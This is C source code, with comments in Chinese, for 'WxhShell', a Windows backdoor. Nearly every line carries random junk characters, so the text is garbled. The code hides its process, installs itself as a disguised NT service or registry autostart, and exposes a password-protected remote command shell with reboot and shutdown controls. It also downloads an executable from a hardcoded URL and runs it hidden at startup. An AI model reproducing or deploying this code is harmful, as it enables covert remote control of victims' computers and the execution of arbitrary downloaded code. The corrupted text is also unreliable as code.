ULONG InheritedFromUniqueProcessId; b>k y
} PROCESS_BASIC_INFORMATION; M|-)GvR$J
N`i/mP
PROCNTQSIP NtQueryInformationProcess; fA-7VdR`R
KoY F]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pAEx#ck
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CTK;dM'uQ
*Ex|9FCt$
HANDLE hProcess; 1YA% -~
PROCESS_BASIC_INFORMATION pbi; @HW*09TG
ESs\O?nO
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :Tc^y%b0
if(NULL == hInst ) return 0; }u|q0>^8
$]1=\I
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6*?F @D2&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $>gFf}#C
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E^PB)D(.
i4Jc.8^9$
if (!NtQueryInformationProcess) return 0; oU|c.mYe
6zkaOA46V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B!yr!DWv
if(!hProcess) return 0; 3T
9j@N77
-&f$GUTJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |{;G2G1[
s{++w5s
CloseHandle(hProcess); SuznN
L=/$
Cw%{G'O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c,22*.V/
if(hProcess==NULL) return 0; zi:BF60]=
0V]s:S
HMODULE hMod; l%ZhA=TKQ
char procName[255]; tkhCw/
unsigned long cbNeeded; YqG7h,F
]4{H+rw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -M2yw
Ymgw-NJ;(
CloseHandle(hProcess); wzaV;ac4K
,Q,^3*HX9}
if(strstr(procName,"services")) return 1; // 以服务启动 Q?T]MUY(L
hph4 `{T
return 0; // 注册表启动 h![#;>(
} f?b"i A(6
P2!C|SLK
// 主模块 CARzO7b\w
int StartWxhshell(LPSTR lpCmdLine) *=n:-
{ l~.-e^p?
SOCKET wsl; JRFtsio*
BOOL val=TRUE; +V+a4lU14
int port=0; /=h` L,
struct sockaddr_in door; zQA`/&=Y
H"KCK6
if(wscfg.ws_autoins) Install(); OB7hlW
r>\bW)e
port=atoi(lpCmdLine); '|4!5)/K
2tLJU Z1
if(port<=0) port=wscfg.ws_port; eQ"E
h~26WLf.
WSADATA data; N7_"H>O$0U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S$3JMFA
:KN-F86i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k8Xm n6X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1cGmg1U;
door.sin_family = AF_INET; :LTN!jj
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nm+s{
door.sin_port = htons(port); G`zm@QL
.2pK.$.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2%>FR4a
closesocket(wsl); l@\FWWQ
return 1; Tr|JYLwF
} *kVV+H<X|b
b\ PgVBf9
if(listen(wsl,2) == INVALID_SOCKET) { @KA4N`
closesocket(wsl); V:27)]q
return 1; ]~%6JJN7
} jtc~DL
Wxhshell(wsl); K>9 ()XT)
WSACleanup(); fatf*}eln
>MK98(F
return 0; a>)f=uS
l]cFqLp
} P&q7|ST%N
~4"dweu?
// 以NT服务方式启动 o.\oA6P_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8D].MI^
{ bi:8(Q$w:`
DWORD status = 0; iOdpM{~*
DWORD specificError = 0xfffffff; fQ98(+6
+O5hH8<&b
serviceStatus.dwServiceType = SERVICE_WIN32; V+~Nalm O
serviceStatus.dwCurrentState = SERVICE_START_PENDING; or]IZ2^n
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SzRmF1<
serviceStatus.dwWin32ExitCode = 0; ? q&T$8zc4
serviceStatus.dwServiceSpecificExitCode = 0; Gy)@Is9
serviceStatus.dwCheckPoint = 0; '2O\_Uz
serviceStatus.dwWaitHint = 0; LF7SS;&~f
b[7]F
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `-&K~^-cH
if (hServiceStatusHandle==0) return; Df#l8YK#
I0a<%;JJW
status = GetLastError(); &OBkevg
if (status!=NO_ERROR) MW{8VH6+
{ T>GM%^h,7-
serviceStatus.dwCurrentState = SERVICE_STOPPED; XUw/2"D'?
serviceStatus.dwCheckPoint = 0; d %#b:(,
serviceStatus.dwWaitHint = 0; c(%|: P^
serviceStatus.dwWin32ExitCode = status; oE~Bq/p
serviceStatus.dwServiceSpecificExitCode = specificError; Q,9oKg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j.kG};f
return; 9/;P->wy
} z] Ue|%K
2"5v[,$1H
serviceStatus.dwCurrentState = SERVICE_RUNNING; :Yks|VJ1
serviceStatus.dwCheckPoint = 0; s@DLt+ O5
serviceStatus.dwWaitHint = 0; iX\X>W$P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d| {r5[&
} g*"P:n71
]:f%l
mEy
// 处理NT服务事件,比如:启动、停止 4&f3%eTi
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rh |nP&6
{
Z<phcqEi8
switch(fdwControl) bTu9;(
{ d/Q%IeEL.
case SERVICE_CONTROL_STOP: )ANmIwmC#
serviceStatus.dwWin32ExitCode = 0; [9 RR8
serviceStatus.dwCurrentState = SERVICE_STOPPED; EZj9wd"u
serviceStatus.dwCheckPoint = 0; 3Y~>qGQwh
serviceStatus.dwWaitHint = 0; 9K&:V(gmw
{ h}EPnC}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rbCAnwA2
} 7yba04D)
return; qv"$Bd:]r
case SERVICE_CONTROL_PAUSE: o lxByzTh>
serviceStatus.dwCurrentState = SERVICE_PAUSED; O<\@~U
break; j)GtEP<n#
case SERVICE_CONTROL_CONTINUE: * H9 8Du
serviceStatus.dwCurrentState = SERVICE_RUNNING; W];dD$Oqg
break; m_l[MG\
case SERVICE_CONTROL_INTERROGATE: A4ygW:
break; P2*<GjV`S/
}; kxRV)G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g4@ lM"|S
} ``Un&-Ms
L^Fy#p
// 标准应用程序主函数 (M
~e?s
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,1##p77.
{ N"1B/u
+@:x!q|^
// 获取操作系统版本 ym6K!i]q4
OsIsNt=GetOsVer(); ujucZ9}yd
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3{h_&Gbo'D
!L8#@BjU
// 从命令行安装 $pudoAO
if(strpbrk(lpCmdLine,"iI")) Install(); }{<
'8J.R
So
5N5,u@=
// 下载执行文件 U3:j'Su4H?
if(wscfg.ws_downexe) { xRsWI!d+|
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jq^T1_iqn
WinExec(wscfg.ws_filenam,SW_HIDE); orvp*F{7[H
} $2el&I
;ZG\p TCA
if(!OsIsNt) { uOGw9O-d9
// 如果时win9x,隐藏进程并且设置为注册表启动 ilva,WFa^
HideProc(); fg{n(TE"8
StartWxhshell(lpCmdLine); X~i<g?]
} hiw|2Y&`
else pO.2<
if(StartFromService()) pXK^Y'2C!
// 以服务方式启动 &yol_%C
StartServiceCtrlDispatcher(DispatchTable); vI)LB)Q
else v]c6R-U
// 普通方式启动 e NafpK
StartWxhshell(lpCmdLine); $DUZ!zaH!
4YX3+oS
return 0; 7`hP?a=
} =6#Eh=7N
IyPnp&_
2,P^n4~A?w
1&o|TT/
=========================================== a+PzI x2
hDq`Z$_+KX
0nD/;\OU
tlt*fH$.
o7LuKRl
o\)F}j&b#=
" 9
5RBO4w%w
f0aKlhEC
#include <stdio.h> gOOPe5+ J
#include <string.h> P_#bow
#include <windows.h> l?^4!&Nm
#include <winsock2.h> @k/NY*+
#include <winsvc.h> g
SAt@2*U2
#include <urlmon.h> U~l$\c
'!a'ZjYyi
#pragma comment (lib, "Ws2_32.lib") d$AWu{y
#pragma comment (lib, "urlmon.lib") 5-xX8-ElYz
E1U",CMU
#define MAX_USER 100 // 最大客户端连接数 Ezv
Y"T@
#define BUF_SOCK 200 // sock buffer \K<QmK
#define KEY_BUFF 255 // 输入 buffer a+T.^koY
K>l~SDcZ3
#define REBOOT 0 // 重启 78H'ax9m
#define SHUTDOWN 1 // 关机 yqiq,=OvP
Mzw X>3x
#define DEF_PORT 5000 // 监听端口 H ?y,ie#u
*``JamnSO
#define REG_LEN 16 // 注册表键长度 Q( {
r@*g
#define SVC_LEN 80 // NT服务名长度 m<qJcZk
=k:,qft2
// 从dll定义API y%bF&
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h.s+)fl\
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S+ ^E.
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (41|'eB\\
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^UhBH@ti
JO"<{ngsQ
// wxhshell配置信息 hzbw>g+
struct WSCFG { Wh2tNyS
int ws_port; // 监听端口 v+=BCyT
char ws_passstr[REG_LEN]; // 口令 3nnJ8zQ
int ws_autoins; // 安装标记, 1=yes 0=no #3 pb(fbw
char ws_regname[REG_LEN]; // 注册表键名 B|AV$N*
char ws_svcname[REG_LEN]; // 服务名 wtV#l4
char ws_svcdisp[SVC_LEN]; // 服务显示名 X<; f
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jl9k``r*
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fku<,SV$O4
int ws_downexe; // 下载执行标记, 1=yes 0=no 4^OY
C
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;H.^i|_/
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZH)="qx[
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}; 0f>5(ek
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// default Wxhshell configuration +|89>}w4
struct WSCFG wscfg={DEF_PORT, P &e\)Z|
"xuhuanlingzhe", @w !PaP
1, hJ#xB6
"Wxhshell", 4G>H
"Wxhshell", e?ly H
"WxhShell Service", h"lv7;B$
"Wrsky Windows CmdShell Service", Ev(>z-{F
"Please Input Your Password: ", 'B0{_RaTb
1, Gvqxi|
"http://www.wrsky.com/wxhshell.exe", T+K):ug
"Wxhshell.exe" P{+T<bk|
}; BC<^a )D=
6Yxh9*N~]
// 消息定义模块 |:<f-j7t~
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zEy N)
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8j %Tf;
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tX %5BTv
char *msg_ws_ext="\n\rExit."; >!1.
char *msg_ws_end="\n\rQuit."; Jrpx}2'9:a
char *msg_ws_boot="\n\rReboot..."; 25[I=ZdS
char *msg_ws_poff="\n\rShutdown..."; MsGM5(r:b
char *msg_ws_down="\n\rSave to "; .:QLk&a,:,
aL&7 1^R,
char *msg_ws_err="\n\rErr!"; H_X [t* 2
char *msg_ws_ok="\n\rOK!"; w{@ o^rs
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char ExeFile[MAX_PATH]; ;Q*or2"!
int nUser = 0; l
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HANDLE handles[MAX_USER]; u=7J/!H7^
int OsIsNt; 7.#F,Ue_0T
R1GEh&U{
SERVICE_STATUS serviceStatus; 4X
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SERVICE_STATUS_HANDLE hServiceStatusHandle; os={PQRD
DOJ N2{IP
// 函数声明 '>0fWBs
int Install(void); <drODjB
int Uninstall(void); 8tFoN*M
int DownloadFile(char *sURL, SOCKET wsh); EbE-}>7OO
int Boot(int flag); MgrLSKLT
void HideProc(void); $$5aUI:$~$
int GetOsVer(void); c>Xs&_
int Wxhshell(SOCKET wsl); QY?~ZwYB
void TalkWithClient(void *cs); {Um)15K
int CmdShell(SOCKET sock); wlk4*4dKn
int StartFromService(void); L(-b@Joh
int StartWxhshell(LPSTR lpCmdLine); _JE"{ ;
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '*w00
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &Ao+X=qw
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// 数据结构和表定义 dCk3;XU
SERVICE_TABLE_ENTRY DispatchTable[] = n}G|/v<
{
&NoS=(s,
{wscfg.ws_svcname, NTServiceMain}, D9
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{NULL, NULL} MET' (m
}; $79=lEn,
"4+WZR]
// 自我安装 PGBQn#c<